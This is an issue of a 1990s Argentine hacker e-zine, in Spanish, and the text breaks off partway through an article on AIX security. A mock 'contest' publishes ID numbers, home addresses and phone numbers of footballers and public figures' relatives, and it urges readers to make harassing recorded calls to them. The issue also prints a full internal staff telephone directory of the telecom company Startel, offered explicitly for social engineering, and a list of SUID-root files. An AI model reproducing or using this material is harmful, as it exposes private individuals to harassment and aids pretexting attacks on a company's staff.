Hacked by Owls Magazine4:(HMAG0004.TXT):14/02/1995 << Back To Hacked by Owls Magazine4

------------------------------------------------------------------------------ H B O M a g a z i n e ------------------------------------------------------------------------------ Hacked by Owls Magazine, Volumen 1 - Numero 4. X de Agosto de 1994 - X de Febrero de 1995 r.i.p Indice ====== Editorial...............................................0x01040000 CONCURSO - HBO te lleva al mundial......................0x01040001 Guia de internos de STARTEL.............................0x01040002 ENTREVISTA: Habla un 1 |> () |_ (): El Chacal..........0x01040003 AIX: El hijo deforme de IBM #1..........................0x01040004 1. Inseguridad en AIX #1 <--- por OPii 2. Comunicaciones en AIX #1 <--- por Saltamontes My First Backdoor Toolkit #2 ...........................0x01040005 1. The same old port listener <--- por Logical Backdoor 2. UDPCMD.C <--- por OPii READSHIT................................................0x01040006 NONAME00.ASC <--- por Janx Spirit NICE.TXT <--- por Saltamontes KP: El primer Blue Boxer por Speaker <--- por [ME]......0x01040007 Hacking for Dummies #1..................................0x01040008 ^------ by Janx Spirit & Logical Backdoor Fe de Erratas: Rebeldes con causa.......................0x01040009 Correo..................................................0x0104000A ContactUs...............................................0x0104000B Agradecimientos.........................................0x0104000C Disclaimer..............................................0x0104000D NMIORP (Naturaly Misconducting Interpolation Of Random Patterns)..............................................0x0104000E -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= HBO-Staff ========= Logical Backdoor. OPii. Janx Spirit. Saltamontes. Colaboradores ============= [ME] "That is not dead which can eternal lie, and within strange aeons even death may die." Aleister Crowley magic(k) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.3a mQCNAi9BgOMAAAEEAMMDX1Q+3cdTT46jCb1Ci8AvnlDpwMIcVeCJtcgvoooRQdcg fQa0Z6M4itw1DsVjp0HwUbW8tFJ5pOrxDCnBwE6AWA8G+rdiprzqSHvUwANfd7Xv so8YjcYjl9FhzIi1EdyLr5D17OWXuPe/pUocCDWROQVRaLi4mYS4UnP1OtclAAUR tANoYm8= =MqVM -----END PGP PUBLIC KEY BLOCK----- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 0x01040000 - Editorial ====================== Les guste o no les guste, HBO esta de vuelta con su numero 4, debido a la perdida de toda la informacion en nuestros rigidos nos quedamos sin los numeros 2 y 3 de la revista asi que quien la tenga subala a nuestro BBS inexistente o a cualquier otro lado. Como recordaran, en el numero 2, hablamos de Startel S.A. y proporcionamos la terminologia y los medios (IURs) para conectarse con el mundo. Ahora, damos la información ne'saria para que logren eso por sus propios medios (hagan algo, parasitos!). Tenemos tambien la presencia estelar de el autentico, el unico, el mas grande hAq3R argentino de todos los tiempos contandonos sus aventuras... Ademas, se larga el Gran Concurso HBO que los llevara al mundial Francia 1998 (porque no todo esta perdido!, todavia queda mucho por perder... no Balbo????????). Y como siempre las notas tecnicas que nunca quisiste y ahora no te damos, revalidando una vez mas nuestro compromiso con la excelencia en el campo de las comunicaciones y la informatica. (argh!) Este numero empieza a cubrir en profundidad los detalles tecnicos de como manejarse en una de las variedades de Unix mas infames jamas vista... Si, si, el A.I.X. de IBM. Bueno, ahora un mensaje de nuestros patrocinadores, y recuerden manden sus 'participaciones' al concurso... despues de todo, solo faltan cuatro años para el proximo mundial. PD: [7 meses mas tarde...] Bueno, aun aca se encuntra la revista, sin terminar pero con muchas novedades. Ahora el concurso perdio un poco la gracia, ya que cuando fue escrito todavia estabamos con la leche de haber jugado para el orto y para colmo perdido rapido. El retraso se debio principalmente a: UNA GRAN PAJA. Sepan disculpar nuestras actitudes pero calculamos estaran mas que contentos con este numero ( y sino, saben...).. El proximo numero lo estimamos para junio (de que anio?). Y bueno, si alguien desea colaborar mandenos sus textos asi nos reimos un poco. El editor del mes pasado es mas pajero que nosotros, lo que es mucho, asi que esta edicion la editamos (santas redundantes redundancias batman) de a cachos Yo(1) y Yo(2), y Yo3() hijoputa. pie: Yo(1): Janx Spirit Yo(2): Logical Backdoor Yo3(): OPii ================================================================================ [ Asegura tu futuro con HBO void *Courses ] [ Data entry................ 2 horas ] [ 2 teclados por alumno. ] [ Configuraciones Dvorak/Qwerty/Kanji ] [ Operador MESS-DOS Jr. ....... 35 mins. ] [ - Comandos basicos MESS-DOS: ] [ FDISK,FORMAT,DEL,CTTY ] [ - EDLIN avanzado ] [ - MemBreaker ] [ - HalveDisk ] [ - DumbDrive ] [ Operador MESS-DOS Sr. ....... 20 mins. ] [ - Rompiendo los 640K ] [ - Rompiendo los SIMMS de 1MB. ] [ - Rompiendo todo el resto ] [ - Mal uso de la memoria: como y cuando? ] [ - Por que no? ] [ Programador Jr. ............. 5 mins. ] [ - Diagramas de flujo vaginal ] [ - Interpretes vs. compiladores ] [ - Generacion de codigo aleatorio ] [ - Iteracion infinita (10 GOTO 10 ?) ] [ - Cold vs. warm reboot ] [ Three fingers salute ] [ Alt+Ctrl-251.2 ] [ Programador Sr. ............. 2 mins. ] [ - Lenguajes de 4ta. generacion ] [ - Lenguajes de 4ta. dimension ] [ - Lenguajes de 4ta. ] [ - Manejo de interrupciones en LOGO ] [ - Interrupcion del manejo de ] [ interrupciones ] [ - Interrupcion de la interrupcion del ] [ manejo de interrupciones ] [ - Recursividad infinita: Para que sirve? ] [ Operador Windork ............. 33.7 secs ] [ - Teoria cinetica del mouse ] [ - Customizacion del entorno ] [ (empapelado higienico, fotos XXX) ] [ - Re-instalacion de la re-instalacion de ] [ la re-instalacion de applicaciones ] [ - Mensajes de error: ] ["Not enough memory to complete the operation" ] [ [OK] [OK] ] [ Generacion rapida de UAEs ] [ Operador Multimediocre....... 10e-33 secs. ] [ - Opere su MacIntrash a la velocidad de la luz ] [ - NoBus, LocalCrap, EtherDeaf ] [ - Configurando su monitor a 23 Ghz. ] [ - 2e125 tonos de grises ] [ - Degaussing como lo hacen en la fabrica... ] [ ] [ Salida laboral garantizada, todos los cursos ] [ desde: $1.200.000 ] [ Llamenos al : 954-3994 ] =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040001 - CONCURSO "HBO te lleva al mundial" =============================================== ........................................................................... . GRAN CONCURSO "HBO te lleva al mundial (Francia 1998)" . ........................................................................... El mundial NO termino para la Argentina, y HBO, en un esfuerzo de produccion, [ Musica de Torneos y Competencias ] te ofrece la UNICA oportunidad de ir al mundial Francia 1998, llevando una remera original HBO. No hacen falta tapitas, ni figuritas ni sorteos de mierda!. Eso si, tenes que llamar por telefono... Pero no a nosotros! Con llamar a cualquier miembro del EQUIPO HBO y grabar la conversacion GANAS una remera (QUE ESPERABAS, UN PASAJE? IDIOTA) original HBO a eleccion: 1) Modelo "To hell with Startel!" 2) Modelo "Sold my soul to HBO..." 3) Modelo "Hacked By Owls - s00 FU<|<1nG K00l!!!" Condiciones: - Se *DEBE* reconocer la voz del jugador/jugadora. - La conversacion tiene que tener algun sentido. Nada de: "Hola Diego? Sos lo mas grande que hay!!!! (click)" o "H-h-h-ola Zulema? jijijijiji (click)" - Duracion minima de 1.5 mins. - Se *DEBE* indicar dia y hora de la comunicacion. Premio especial: 1) Aquellos que se levanten a alguna de las jugadoras (es obvio cuales!) se haran acreedores a una comida china con el staff HBO. (y las amigas de la jugadora!, o sea el concepto es SOCIALI-ZEN!) 2) Aquellos que logren la comunicacion con Diego se haran acreedores a una comida en una pizzeria con el staff HBO. Ganadores: Los ganadores, deben indicar como localizarlos en nuestro BBS y/o dejar el .VOC, .WAV, etc. de la conversacion. Deben indicar dia y hora de la comunicacion ** SI O SI **. PS: Este concurso perdio toda su sorpresa gracias a personajes de nefasta reputacion que publicaron los datos y telefonos antes de tiempo. Lolamento, si la mayoria de los fonos estan dados de baja es porque miles de giles llamaron para joder y ni siquiera grabaron las conversaciones, se perdieron los premios, bobos. LA SELECCION DE HBO ------------------------------------------------------------------------------- ISLAS LUIS 415-9264 YOMA ZULEMA RUGGERI OSCAR MENEM ZULEMA MARIA GIMENEZ SUSANA 447-1484 415-9270 412-1494 449-6001 PELERITTI CAROLINA CALLEJON MARIA FERNANDA 444-5252 822-9932 ROMANO GERARDO 445-0953 MARADONA DIEGO ARMANDO 440-4429 CANIGGIA CLAUDIO BATISTUTA GABRIEL 415-9267 415-9255 ------------------------------------------------------------------------------- Fichas personales: ----------------- Jugadora : PELERITTI CAROLINA D.N.I. : 2229826961 Direccion: ZABALA 2515 2 PISO "F" 0001 Capital Federal Tel : 42-3245/784-7063 Movicom : 444-5252 CALLEJON MARIA FERNANDA Obs. : Excelente delantera. Pero la ponemos de defensa para que pare a los contrarios. Jugador : MARADONA DIEGO ARMANDO D.N.I. : 1427657961 Dierccion: SEGUROLA 43107 1419 Capital Federal Tel : 415-9251 Movicom : 440-4429 Obs. : Es un poco peor que San Filippo, pero a la gente parece no importarle. Jugador : CANIGGIA CLAUDIO Pasaporte: 1141120061 Direccion: QUINTANA 7857 1429 Capital Federal Movicom : 415-9267 Obs. : Mientras juega, tratar de comunicarse con la esposa... Jugador : RUGGERI OSCAR D.N.I. : 1109604961 Direccion: ING MARCONI 2453 OLIVOS 1636 Buenos Aires Movicom : 415-9270 Obs. : Sacate la pata de palo, muerto! Jugador : GOYCOCHEA SERGIO Direccion: MARCONI 2457 OLIVOS 1636 Buenos Aires Movicom : 415-9261 Obs. : Te comiste todos los amagues pibe... -"Si yo hiciera esto dejaria sin palabras a muchas personas..." (fotito de goyco atajando UNA pelota) Jugador : ISLAS LUIS Direccion: MAESTRA BALDINI 1651 CASEROS 1678 Buenos Aires Movicom : 415-9264 Obs. : Golescu el de tiro libre eh? Jugador : ROMANO GERARDO Movicom : 445-0953 Obs. : Balin! Jugador : BATISTUTA GABRIEL Movicom : 415-9255 Obs. : Lo que te devoraste, Gabriel Omar... Jugadora : YOMA ZULEMA Movicom : 447-1484 Obs. : Cuida el area tanto como las valijas. Jugadora : MENEM ZULEMA MARIA Movicom : 412-1494 Obs. : 40.000 dolares en un shoping? aha. Jugadora : CALLEJON MARIA FERNANDA D.N.I. : 17573419 Direccion: PTE. URIBURU 1234 PISO 7 DTO A 1114 Capital Federal Tel : 822-9932 Movicom : 444-5578 Nro dado de Baja Obs. : Haceme pressing... BURRRRAAAAAA! Jugadora : GIMENEZ SUSANA Direccion: 3 DE FEBRERO 1931 PISO 28 "B" 1426 Capital Federal Tel : 786-1884 Movicom : 449-6001 Obs. : dialogo registrado a las 4:30 de la madrugada: - "Hola Susy?, estas divina!" - "uhh?... andalaconchaquetepario" - "Susy, Susy, te adoro" - (Click) =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040002 - Guia de internos de STARTEL S.A. ============================================= trashed & compiled by HBO Para los que gusten de practicar un poco de Social Engineering, los muchachos de HBO hemos preparado un platillo estupendo: En esta primer entrega les presentamos una guia de TODOS los internos de STARTEL S.A. [ver 0x01020005 (HBOMAG volumen #1, nro #2, file 0005)] ... y recuerden: El nombre correcto es IUR, I U R...Identificacion Usuario de Red. (si no saben que decir no digan nada - HBO: Tu mejor opinion es el silencio) Pd: La revista que viene sale con un mapa del edificio. Planta Baja ~~~~~~~~~~~ 1001 Almacen 1052 Laboratorio 1054 Laboratorio 1055 Laboratorio 1003 Libreria 1053 Lietti Norberto 1056 PBA. Modem 1057 PBA. Modem 1051 Sala de escucha 1002 Fax Almacen 313-9492 1er Piso Comercial ~~~~~~~~~~~~~~~~~~ 1117 Barbieri Florencio 1103 Bravo Laura 1114 Caja Admin. Comercial 1166 Castillo Mirta 1110 Centurion Monica 1108 Clemente 1167 Delewski Alicia 1111 De Rosa Juan C.-R.- 1106 1108 Di Paola Gabriel 1102 Escaboza Teresa 1104 Fernandez Edgardo 1108 Fracineti Amelia 1107 Hiriart Peggi 1113 Irastoza Ruben 1155 Leguizamon E. 1151 Marciari Silvia 1156 Pagano Dante 1105 Politis Olga (reclamo) 1153 1101 Rivera Otero F. 1159 Recepcion 3er piso 1109 Tamburino (TELEX) 1164 VIDEOTEX 1165 VIDEOTEX 1168 VIDEOCONFERENCIA FAX 315-1049 TELEX 29000 GUIATX AR 28421 DEMO AR 2do Piso ~~~~~~~~ 1208 Araujo Eduardo 1205 Basualdo Cristina 1217 Balmaceda 1209 Benitez Marcelo 1201 Bergonzelli Ernesto 1287 Bevaqua Flores 1268 Bort Guillermo 1273 Cavallari Andrea 1210 Cadaval Alberto 1281 Contestador Automatico 1296 Damonte Daniel 1220 Dell' Arciprette Daniel 1204 Diaz Olga 1218 Dirrenzo Horacio 1274 Di Francesca Graciela 1259 Garcia Claudio 1219 Garcia Delfin 1253 Giudice Roberto 1260 Gimenez Patricia 1255 Fano Gustavo 1267 Fell David 1203 Ferraro Oscar 1271 Fernandez Jorge 1276 Folino Susana 1285 Fuster Frank 1272 Jonin Alberto 1268 INFONET 1269 INFONET 1256 Lefevre Patrick 1264 Lombardo Roque 1254 Mazzia Ricardo 1261 Maldonado Marta 1206 Mobilia Juan 1265 Menteni Carlos 1263 Martignioni Susana 1278 Ortega Mariela 1279 Ortega Mariela (atencion al cliente) 806-6000/6021/6112/6252 1213 Ramirez Carlos 1275 Recepcion 2do Piso 1270 Rey Carlos 1212 Rodriguez Carmen 1257 Secretaria de Lefevre (Srta. Silia Perez) 1215 Secretaria de Ramirez 1202 Secretaria de Bergonzelli (Srta. Paula Gonzales) 1258 Secretaria de Fernandez (Srta. Claudia Cogliati) 1286 Spiritozo Ricardo 1251 Waitz Jorge 1280 Fax: 806-6000 1283 Fax Dir. Comercial 313-8900 TELEX 27752 STRTEL AR 3er Piso ~~~~~~~~ 1382 Aon Luis 1355 Alvarez Gabriel 1368 Añon Suarez Alejandro 1364 Biga Daniel 1303 Botella/Esquivo 1379 Diaz Raul 1361 Delfino Jorge 1366 Douce Enrique 1308 1309 1304 1313 1365 1318 1371 FAX Nocera 1381 Farias Juan Carlos 1378 Hernandez Carlos 1317 Jaspe Raquel 1362 Jabobs Eric 1371 1353 Maccarini Angel 1365 Morales Gustavo 1369 Morales Jorge OD 1377 Muiña 1311 1374 Nocera Jorge 1372 1363 1372 Padularrosa Humberto 1351 Preziuzo Roberto 1373 Randazo Nilda 1398 Recepcion 3er piso 1302 1352 1301 Romeo Jose M. 1354 Sagaseta Hugo 1360 Secretaria de Alvarez (Sra Alicia Repossi) 1359 Vallejos Ricardo 1305 Secretaria de Romeo (Srta. Graciela Gonzales) 1306 1307 1310 Stiuso Beatriz 1356 1304 Zanetich Aldo 1367 Zerar 1397 MODEM piso 3 1350 FAX piso 3 6to. Piso ~~~~~~~~~ 1601 Aiscurri Jose L. 1666 Bevaqua 1609 Botaya, Beatriz 1617 1611 1696 C. TX. RPBLC. 1623 C.T.I. 1660 Cazzola 1669 Centro de atencion Averias 1670 Centro de atencion Averias 1671 Centro de atencion Averias 1672 Centro de Atencion Averias 1653 Cillo Santiago 1614 Coachaca Hugo 1665 1664 1608 1602 1675 Deciancio Horacio 1610 Dorich Mario 1625 Esquerdo Fabio 1673 Flores 1674 Galibert 1604 1620 Galeano Alberto 1603 1619 1695 GESTION 1682 Grancho Jorge 1651 Kustra Oscar 1680 Lapietra Mario 1679 Legarreta Ignacio 1663 Lopez Domingo 1675 1655 Moles Valenzuela 1607 1613 Nestor Christian 1604 Parente Nestor 1662 Pumareda Eduardo 1675 Rebecky Sergio 1679 1621 Romano Miguel 1652 1654 SALA DE REUNION 1624 1658 Secretaria de Cillo (Srta. Mary Montoya) 1656 Secretaria de Kustra (Srta. Irene Rivero) 1659 Secretaria de Moles (Srta. Lucia Abadie) 1612 1622 SEGURIDAD 6TO. PISO (Nieva, Norberto Jesus Legajo: 145.945-2) 1681 1699 (CUYO) 1698 (TLCHN) 1697 REPUBLICA DATOS 1696 REPUBLICA TELEX 1693 RETIRO DATOS 1665 Tagliabini 1694 TELEGRAFIA 1682 1605 Villambrosa Carlos 1676 FAX EXPLOTACION (313-9992) 1677 FAX GESTION DE RED (313-5801) Telex: 27987 STAREX AR 7mo. PISO ~~~~~~~~~ 1726 1777 Aristegui norma 1707 Basile Domingho 1768 1717 Bagnasco Oscar 1715 Bianchi Christian 1764 1761 Botte Lerch Cristina 1778 1752 Calderazi Jose Maria 1760 Carrizo Oscar 1762 Carballo elida 1728 Casazola Cecilia 1753 Ceravolo Omar 1763 1711 Davolo Paula 1705 De Filippo Horacio 1703 Dangelo Hector 1725 Diaz Alberto 1769 Duacastella Luis 1706 Fernandez Roxana 1779 Figgini Silvia 1719 Graciano Alejandro 1766 Insua Alicia 1722 Lopez Pesci Ezequiel 1774 Ludueña Atilio 1776 Machado Gustavo / Macipe tomas 1774 Machaczko Marcelo 1770 MODEM 1704 Molinari Eugenio 1775 Morgera Alicia 1777 Nochi Silvia 1729 Nouzeillies 1751 Parada Carlos A. 1730 PC BANCO RIO 1719 Perez Raul 1701 Pommares Carlos 1755 Portero Castro Fernando 1710 RECEPCION (PERS./FIN.) 1767 RECEPCION PISO 7 1765 Romero Adriana 1712 Romero Silvia 1727 Russino Raul 1720 Santos Viviana 1760 1759 Secretaria de Ludueña (Srta. Marcela Peralta) 1709 Secretaria Pommares / Molinari (Srta. Viviana Rodriguez) 1773 Secretaria de Portero Castro (Srta. Cynthia Bezobohaty) 1708 Secretaria de Tommasi (Srta. Belen Wagener) 1758 Secretaria de Calderazi (Srta. Claudia Constela) 1756 Secretaria de Parada/Villambrosa (Srta. M. del C. Proscopio) 1714 1702 Tommasi Raul 1706 Torres Andrea 1780 1732 Zamora Ana Maria 1772 FAX DIRECTO RECEPCION 7MO. (313-8011) 1731 FAX PERSONAL (313-3011) 1721 FAX DIRECTO FINANZAS (312-4827) TELEX: 17205 STARPE 27985 STARCO 8vo. PISO - DIRECCION GENERAL ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1851 Wojciechowski Marc 1802 Jalle Enrique 1805 1812 Cacchione Guillermo / Florencia 1854 Di Lillo Osvaldo 1806 1855 1852 Fontan Guillermo 1876 1868 1853 Laurentie Yves 1869 1809 PRUEBA MINITEL MARC 1864 RECEPCION 8vo. PISO (311-0220) Domingos: Sr. Nieva 1807 SALA DE REFRIGERIO 1805 SALA REUNION DIRECTORIO 1865 SALA REUNION GABINETE 1860 Secretaria de Di Lillo (Srta. Carmen Lopez) 1863 Aux. Secr. Di Lillo 1859 1858 1857 1861 1858 Secretaria de Fontan (Srta. Alejandra Capelli) 1803 Secretaria de Jalle (Srta. cristina Andino) 1810 Aux. de Cristina 1899 CENTRAL TELEFONICA P.B. 1866 FAX GABINETE (313-1663) 1808 FAX DIR. GENERAL 9 CONMUTADOR =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040003 - Habla un Idolo =========================== Hoy: El chacal. Luego de sacudirnos el polvo decidimos vencer nuestros temores y encarar al profeta del hacking en Argentina. No lo encontramos, asi que entrevistamos al Chacal. Esta nota es un estracto (lo que nuestras mentes recuerdan) de una conversacion que mantuvimos durante GonzoCon'94 en el puesto de choripanes de la recoleta. Si lo que nos acordamos esta todo mal no importa, les va a dar una idea de como es el chabon que sale en los diarios mas que nosotros diciendo huevadas peores que las nuestras acerca del ciberespacio y el mitico Altos. Descripcion de su persona: Pelo decolorido con aguarras, agua oxigenada, o los restos de lo que se mete por la nariz. Hermosos pantalones milicos, con los que el dice visita a sus clientes (recordemos que ahora trabaja en seguridad) Remera muy fea diciendo: Soy Puto (bueno, nonos acordabamos asi que tuvimos que inventar). Una novia por lo menos 14 anios menor que el, pero no la llevaba puesta en ese momento, asi que olvidemosla. Al que si llevaba puesto era a un amiguito de pelo largo negro con cara de gay que algunas veces se prendia en la conversacion con comentarios como : te acordas mi amor de cuando no se que mierda? o cosas por el estilo (give or take a lie or two) Nuestra conversacion se centro en un punto que seria repetido muchas veces a lo largo de la tarde: Hacked By Owls: Por que en el diario decis tantas huevadas? El Chacal: Por que huevadas? HBO: - como, vas a negar que decis huevadas? - eso chabon, toda esa mierda del ciiiiberspace... - y lo de Altos ehh, ehh, (apuntando con el dedito) ehh, que pasa con lo que dijiste del mitico altos ehhhh. contesta. [recordar que nosotros somos mas asi que nos aprovechamos de eso] E(l)C(hacal): Pero no son huevadas, sabes lo que pasa... yo te explico [H, B y O intercambiamos miradas] EC: ... lo que pasa es que cuando vos vas a hablar en un medio de comunicacion grosso, que va a llegar a un pedazo de gente, y vos queres transmitir un mensaje, tenes que matizar... HBO: ahha, y el mensaje que vos querias transmitir es que el ciberspace queda en Altos? EC: (masticandose el choripan) no chabon, no me bardees, lo que pasa es que bueno... vos le tenes que dar a la gente lo que la gente quiere escuchar, mentendes, y despues bueno, despues tratas de filtrar tu mensaje ahi en el medio, entre el resto. HBO: - ahhh, entiendo, en el medio de toda la bosta decis vos? - si,si, de todas esas pelotudeces que decis en el diario no? - si, de tus comentarios vergosos desagradables estupidos e incoherentes sobre el ciberspacio... [Nos empezaba a gustar esta conversacion] EC: ehhhh El amiguito de EC(EADEC): para, chabon... nosotros en una epoca eramos como ustedes, y odiabamos a la gente mas grande que salia en el diario, pero alguien lo tiene que hacer... [HBO ignorando completamente a EADEC] HBO: - pero, que necesidad tenes de decir tantas boludeces? [mas claro echale lo que le echa el chacal a su pelo(y nariz)] EC: Lo que pasa es que vos decis boludeces para que te publiquen entendes, para salir en el diario...| HBO: Diciendo boludeces | EC:... para despues poder metere tu mensaje.. | HBO: pero lo unico que salian son boludeces | EC: ... escuchame, lo matizas con boludeces pero .. | HBO: pero si solo salian boludeces | EC: .... pero metes tu mensaje | HBO: que es una boludez a juzgar por lo que salia... | EC: (perdiendo un poquito el aplomo) ehhh... ustedes no entienden loco, mira... cualquiera que sepa te lo va a poder decir... (a todo esto se habia sentado en la mesa hacia un ratito un Holandes de HackTic que era periodista, y no entendia nada lo que estaba pasando, y pretendia comprar un cafe con leche en el puestito de choripanes...) EC:... mira, el es periodista (senialando al Holandes de HackTic (HDHT))... ehhh (suicheando a inglish mode, the chacal (TC))how do you do mr periodist, esteee, when you write something tipoo, aahhh [traduccion simultanea desde caracas venezuela] cuando queres escribir algo en tu punietero diario, para que la gente lo lea, no escribis lo que la gente quiere escuchar, lo que esta de moda... y despues en el medio le mandas lo que queres decir?? (espectante) HDHT: (tratando de traducir al ingles lo que le dijo The Chacal para ver si lograba comprender) uhmm, NO. i don't do that. [traduccion venezolana del orto: NO, yo no hago eso. yo escribo lo que quiero decir y trato de acostumbrar a la gente a que lea las cosas como son...] TC o EC: (no dandose cuenta de que ya habia perdido) bueno, entendes... eso es lo que hago yo... HBO: [nos estabamos entusiasmanddo aun mas con esto] pero, que necesidad tenes de decir todas esas huevadas? EC: para que la gente me escuche HBO: tus huevadas EC: uhh, che... HBO: - bueno, bueno (conciliadores)... una cosita mas... - decinos esto y nos vamos tranquilos... - vos dijiste "Soy el Robin Hood de los 90"? EC: No mira, lo que pasa es que... HBO: Para, para... LO DIJISTE O NO? EC: bueno, pero yo... HBO: LO DIJISTE,SI O NO? Robin Hood: Bueno, si... y que? HBO: hhhmhmpffff jaja hmmmpfheheh jah e uhuhuh uh ahh (intento de contener las risas) no, hmgfffff, nada...sdjhewiuawebaaaaaaaaaaaaaaaa, curiosidad no mas .sdfhjssdkjkaskj ahahahahahhaaaahahaha Robin hood jajjajaja y gonzo(1) quien es, el fraile fuck? ajajajaja uhhmmpssss jajaja RH, EC o TC: bueno che.... yo les pregunto a ustedes... si ustedes quieren comunicar algo, como lo hacen? HBO: Lee pagina 12 en la semana... ya te vas a enterar.(2) notas al pie: (1) con gonzo nos referimos a Fernando Bosembiante editor de Para Ti, por lo que gonzocon es la conferencia sobre virus que organizo La revista MUJER. (2) Emmanuel Goldstein no hackea telefonos publicos por modem, y decididamente no nos invento. (contestando rumores, primero HBO) =============================================================================== -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =============================================================================== 0x01040004 - AIX: El hijo deforme de IBM, parte #1 ================================================== 1. In-seguridad en A.I.X. parte #1. by OPii DISCLAIMER: Este articulo es una garcha, podes imprimirlo, enrrollarlo y metertelo por el ano. Si tienen dudas sobre algo, preguntenle a DarkMind que lleva 2 anios trabajando en UNIX. Yo en realidad me manejo mejor con CP/M. OPii Son bien conocidos los problemas de seguridad de los sistemas operativos de Sun Microsystems (SunSoft ahora?!) como el SunOS y su reciente hijo bastardo del System V Release 4, el Solaris, como gustan llamarlo para satisfacer su estupida politica publicitaria (bueno, la de afuera, porque aca no hay). Tal vez pensaron que, como todo el mundo se quejaba del SunOS desde su mas tierna version hasta la ultima, especialmente la 4.1.x, debian cambiarle el nombre para que la gente se "olvide" que de ultima es un SunOS 5.x... Al parecer, I.B.M. esta intentando igualar o superar la cantidad de bugs de Sun en su propio sistema operativo UNIX, el infame AIX (aka AIDX). Despues de todo ellos son I.B.M. y nadie va a venir a decirles como se deben hacer *MAL* las cosas no?. Esto podria ser una estrategia secreta para publicitar el AIX y dar motivos de conversacion entre los expertos en sistemas abiertos y administradores, que de otra forma no tendrian por que hablar de algo tan desagradable... En este file, se presenta una descripcion del esquema de seguridad del AIX y se anexa un listado de todos los problemas conocidos *publicamente*, lo cual no significa que no haya otros... ES MAS, cualquiera con acceso a un AIX puede ver estas cosas por si mismo y obviar este file, no hay ninguna informacion "ultrasecreta" aca... No pretendo dar detalles especificos de como hacer uso de estos problemas ni proporcionar programas para eso, esta es una simple descripcion y el uso que se haga de ella ni me importa ni es mi responsabilidad. Supongo que quien lea esto tiene conocimientos generales de UNIX y sabe de que se esta hablando cuando menciono files,directorios y comandos. Por otro lado, el AIX tiene una cantidad de archivos y comandos que no se encuentran en un UNIX standard, con formatos de files propietarios y manejo de drivers y dispositivos tambien en forma no standard (ver otros files de HBOmag #4 y HBOmag #3). Por ultimo, de acuerdo con mi experiencia, el AIX junto con el S.C.O son las versiones de UNIX que mas se encuentran en los sistemas abiertos de Argentina, por lo tanto supongo que este file sera de utilidad para todos. Introduccion ~~~~~~~~~~~~ El esquema de seguridad del AIX es similar al de cualquier UNIX, sin embargo hay una serie de commandos y files agregados que proveen mayor seguridad si se los usa ,aunque jamas encontre una RS6000 corriendo AIX con todas las medidas de seguridad adicionales activadas. De todas formas, activar dichas medidas implica un trabajo extra de planificacion y mantenimiento considerable y es obvio que el 99.9% de los administradores no lo piensan hacer, ademas de no necesitar mayor seguridad... Como la mayoria de los UNIX modernos, los scripts con SUID no tienen ningun efecto, existe una cantidad inusitada de programas SUID root, muchos de ellos son ligeras variaciones del mismo programa, esto es de entrada ( a mi parecer eheh) una completa estupidez, con el afan de hacer la cosa mas 'user-friendly' ponen un monton de programas que hacen cosas que muy bien se podrian hacer con los tools comunes de cualquier UNIX. Por otro lado, el AIX tiene facilidades de seguridad (Trusted Computer Base, trusted paths, ACLs, etc.) que puestas en practica proporcionan un ambiente de trabajo completamente opresivo para el usuario, y hace que este desee con todas sus ganas que la maldita CPU estalle. Algunos files SUID root: ~~~~~~~~~~~~~~~~~~~~~~~~ -rwsr-xr-x 1 root system 307128 09 Ene 1992 ./usr/lpp/X11/bin/aixterm -rwsr-xr-x 1 root system 365203 09 Ene 1992 ./usr/lpp/X11/Xamples/bin/xterm -rwsr-xr-x 1 root system 43622 18 Dic 1991 ./usr/lpp/X11/Xamples/bin/xlock --wsr-sr-x 1 root system 0 15 Ago 14:06 ./usr/lpp/inu_LOCK -r-sr-xr-- 1 root system 15773 15 Ago 17:48 ./usr/lpp/bosnet/inst_U403370.save/update.1 -r-sr-xr-- 1 root system 31545 15 Ago 17:48 ./usr/lpp/bosnet/inst_U403370.save/update.2 Uhg, ver CERT advisories acerca de esto... Los permisos esta modificados... -r-sr-x--- 1 root system 3808 18 Mar 1992 ./usr/lpp/bosperf/lib/crush -r-sr-x--- 1 root system 7893 18 Mar 1992 ./usr/lpp/bosperf/lib/dm.x -r-sr-x--- 1 root system 5855 18 Mar 1992 ./usr/lpp/bosperf/lib/exprg.x -r-sr-x--- 1 root system 3102 18 Mar 1992 ./usr/lpp/bosperf/lib/genkex -r-sr-x--- 1 root system 3174 18 Mar 1992 ./usr/lpp/bosperf/lib/genkld -r-sr-x--- 1 root system 5342 18 Mar 1992 ./usr/lpp/bosperf/lib/genld -r-sr-x--- 1 root system 6879 18 Mar 1992 ./usr/lpp/bosperf/lib/gsamp.x -r-sr-x--- 1 root system 21400 18 Mar 1992 ./usr/lpp/bosperf/lib/inf_trace -r-sr-x--- 1 root system 7903 18 Mar 1992 ./usr/lpp/bosperf/lib/kflow.x -r-sr-x--- 1 root system 9941 18 Mar 1992 ./usr/lpp/bosperf/lib/knm.x -r-sr-x--- 1 root system 6869 18 Mar 1992 ./usr/lpp/bosperf/lib/ksum.x -r-sr-x--- 1 root system 6357 18 Mar 1992 ./usr/lpp/bosperf/lib/kxnm.x -r-sr-x--- 1 root system 9951 18 Mar 1992 ./usr/lpp/bosperf/lib/merge.x -r-sr-x--- 1 root system 6357 18 Mar 1992 ./usr/lpp/bosperf/lib/nm1.x -r-sr-x--- 1 root system 6357 18 Mar 1992 ./usr/lpp/bosperf/lib/nm2.x -r-sr-x--- 1 root system 5845 18 Mar 1992 ./usr/lpp/bosperf/lib/pro.x -r-sr-x--- 1 root system 949 18 Mar 1992 ./usr/lpp/bosperf/lib/r.pro -r-sr-x--- 1 root system 11989 18 Mar 1992 ./usr/lpp/bosperf/lib/samp.x -r-sr-x--- 1 root system 7381 18 Mar 1992 ./usr/lpp/bosperf/lib/sum.x -r-sr-x--- 1 root system 